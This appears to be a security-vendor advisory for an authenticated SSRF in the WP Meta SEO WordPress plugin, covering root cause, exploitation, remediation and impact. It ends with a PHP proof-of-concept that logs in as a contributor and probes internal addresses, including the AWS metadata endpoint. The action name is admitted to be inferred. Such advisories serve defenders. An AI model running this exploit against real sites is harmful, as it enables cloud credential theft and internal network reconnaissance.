Atomic Edge analysis of CVE-2026-11370 (metadata-based): This vulnerability affects the WP Meta SEO plugin versions up to and including 4.5.18. It is an authenticated Server-Side Request Forgery (SSRF) that allows contributors and above to make outbound HTTP requests from the server. The CVSS score is 6.4, indicating medium severity with low confidentiality and integrity impact.
Root Cause: Based on the CWE-918 classification and the vulnerability description, the likely root cause is insufficient validation of the ‘new_link’ parameter passed to an AJAX action. The plugin probably uses this parameter in a URL fetch function without proper validation of the target host or protocol. Atomic Edge research infers that the plugin’s AJAX handler for importing or scanning meta data does not restrict the URL scheme (e.g., block file:// or internal IP ranges) and does not sanitize the parameter before passing it to a function like wp_remote_get or curl_exec. No code diff is available, so this conclusion is inferred from the CWE and description.
Exploitation: An authenticated attacker with contributor-level access can craft a POST request to /wp-admin/admin-ajax.php with the action parameter set to the plugin’s AJAX hook (likely ‘wp_meta_seo_save_meta’ or ‘wp_meta_seo_new_link’) and the ‘new_link’ parameter containing a URL pointing to an internal service, such as http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint) or http://internal-server.local/admin. The AJAX response reflects the HTTP status code in a ‘status_code’ field, allowing the attacker to probe internal hosts and services. The attack does not require a nonce check or capability enforcement beyond contributor.
Remediation: The fix should restrict the ‘new_link’ parameter to only allow allowed domains or URL schemes. The plugin should validate that the URL uses HTTP or HTTPS and that the host part resolves to a public IP range, not a private or reserved range. Additionally, the plugin should enforce a capability check (e.g., manage_options) and implement a nonce check for the AJAX action. Using WordPress’s built-in wp_safe_remote_get function instead of wp_remote_get would also block internal network requests.
Impact: Successful exploitation allows an attacker to scan internal networks, access cloud metadata endpoints (e.g., obtaining AWS IAM credentials from the metadata service), and potentially modify data on internal services if the outbound request is used in a write operation (e.g., POST to an internal API). The reflected status code provides an oracle for port scanning and service discovery. This could lead to lateral movement within the cloud environment or exposure of sensitive internal configuration.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11370 - WP Meta SEO <= 4.5.18 - Authenticated (Contributor+) SSRF via 'new_link' Parameter
// Assumptions:
// - The target site has WP Meta SEO plugin version <= 4.5.18 installed.
// - An authenticated user with contributor role or higher exists.
// - The AJAX action is 'wp_meta_seo_save_meta' or 'wp_meta_seo_new_link' (inferred from plugin patterns).
// - The 'new_link' parameter is accepted directly without sanitization.
// Set target WordPress URL and credentials
$target_url = 'http://example.com'; // Change to your target
$username = 'contributor'; // Replace with valid credentials
$password = 'password'; // Replace with valid password
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Enumerate internal services using SSRF
// List of internal URLs to probe (change as needed for your target environment)
$internal_urls = array(
'http://169.254.169.254/latest/meta-data/', // AWS metadata endpoint
'http://127.0.0.1:80/',
'http://192.168.1.1:80/',
'http://10.0.0.1:8000/',
'http://internal-service.local/admin'
);
foreach ($internal_urls as $internal_url) {
// Build AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'wp_meta_seo_save_meta', // Adjust action name if different
'new_link' => $internal_url
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Parse JSON response to extract status_code (if available)
$json = json_decode($response, true);
if (isset($json['status_code'])) {
echo "Status code for $internal_url: " . $json['status_code'] . "n";
} else {
echo "Response from $internal_url (HTTP $http_code): $responsen";
}
}
// Clean up
unlink('/tmp/cookies.txt');
?>